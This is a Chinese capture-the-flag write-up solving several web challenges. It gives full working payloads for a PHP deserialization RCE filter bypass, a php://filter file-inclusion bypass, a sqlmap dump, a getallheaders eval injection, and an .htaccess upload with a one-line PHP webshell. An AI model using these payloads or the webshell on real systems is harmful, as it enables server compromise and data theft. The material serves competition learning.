Unserialize?
<?php highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { private $cmd; public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } }
审计代码: 反序列化自动触发__destruct()魔术方法,只要绕过这个匹配就能利用这个system()函数进行输出
然后我这里利用的是nl来进行查看内容
下面为序列化脚本:
<?php
class evil {
private $cmd = 'ls /';
}
$a = new evil();
echo serialize($a);
这里很重要的 一点就是cmd为私有变量 所以我们加上一个%00****就可以了
所以最钟的paylaod:
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}
include 0。0
<?php highlight_file(__FILE__); // FLAG in the flag.php $file = $_GET['file']; if(isset($file) && !preg_match('/base|rot/i',$file)){
考点 文件包含漏洞且不能出现base rot 大小写 那我们换个过滤器就行了
Payloa:?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
ez_sql
过滤条件比较少 Sqlmap一把梭
sqlmap -u http://36290524-fae7-4b49-b911-fe7af45f3104.node4.buuoj.cn:81/?id=TMP0929 -D ctf -T here_is_flag -C flag --dump
游戏高手
这个gameover函数中向/api.php POST了我们的分数
我们可以自己伪造分数POST上传 这里要注意 POST json的stringfy形式
上传10000000分就可以了
R!!C!!E!!
题目提示敏感信息泄露 ,先用githack恢复获得bo0g1pop.php
得到新的代码审计
这个主要分为两块
第一:
if (';' === preg_replace('/[^\W]+((?R)?)/', '', $_GET['star']))
第二:
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i'
这部分基本把常用的一些无参数rce的办法都ban了但我们可以使用getallheaders()
Paylaod:bo0g1pop.php?star=print_r(getallheaders()); 然后随便添加个参数:newstar=phpinfo();
多send几下然后就饿可以看到了
这时候我们就要提取这个phpinfo();使用array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个
Payload:bo0g1pop.php?star=eval(array_rand(array_flip(getallheaders())));
多send几下
出来了php界面 那么我们直接修改命令就可以进行rce了 获得flag
Upload again!
这道题考的就是一个是.htaccess文件的解析漏洞 另一个就是考的对一句话木马内容的过滤
首先拿到题目大概就是说 你上传图片不行 要求你上传php文件 结果上传之后又发现但不开 所以这时候就要用到.htaccess文件的解析漏洞 我们只要把它jpg解释成php就可以了
.htacess内容:AddType application/x-httpd-php .jpg
先上传这个文件
在上传图片
一句话木马内容5.png
<script language='php'>@eval($_POST['a'])</script>
上传成功 给了路径 yijian一把梭
拿到flag
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。